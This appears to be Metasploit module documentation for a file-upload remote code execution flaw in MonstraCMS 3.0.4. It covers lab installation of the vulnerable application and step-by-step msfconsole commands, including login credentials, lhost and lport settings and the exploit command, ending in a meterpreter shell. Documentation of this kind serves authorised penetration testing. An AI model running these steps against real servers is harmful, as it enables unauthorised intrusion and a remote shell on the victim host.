Touhid M Shaikh
1.6 KiB
1.6 KiB
Description
MonstraCMS 3.0.4 allows users to upload Arbitrary files which leads to a remote command execution on the remote server, an attacker may choose to upload a file containing PHP code and run this code by accessing the resulting PHP file. This module was tested against MonstraCMS 3.0.4. Additional information and vulnerabilities can be viewed on Exploit-DB 43348.
Vulnerable Application
Available at Exploit-DB
Vulnerable Application Installation Setup.
- Download Application :
https://www.exploit-db.com/apps/23663fc7b47c4c1e476b793ea53660bc-monstra-3.0.4.zip - Extract :
23663fc7b47c4c1e476b793ea53660bc-monstra-3.0.4.zip - Move In WebDirectory :
C:\xampp\htdocs\ - Now Visit : http://localhost/
- Setup DB creds and other thins which is essential for Monstra CMS.
Verification Steps
- Install the application
- Start msfconsole
- Do:
use exploit/multi/http/monstra_fileupload_exec - Do:
set rport <port> - Do:
set rhost <ip> - Do:
set targeturi monstra - Do:
set username root - Do:
set password password - Do:
check
[*] 10.22.1.10:80 The target appears to be vulnerable.
- Do:
set lport <port> - Do:
set lhost <ip> - Do:
exploit - You should get a shell.
Scenarios
Monstra CMS on Windows Target
meterpreter >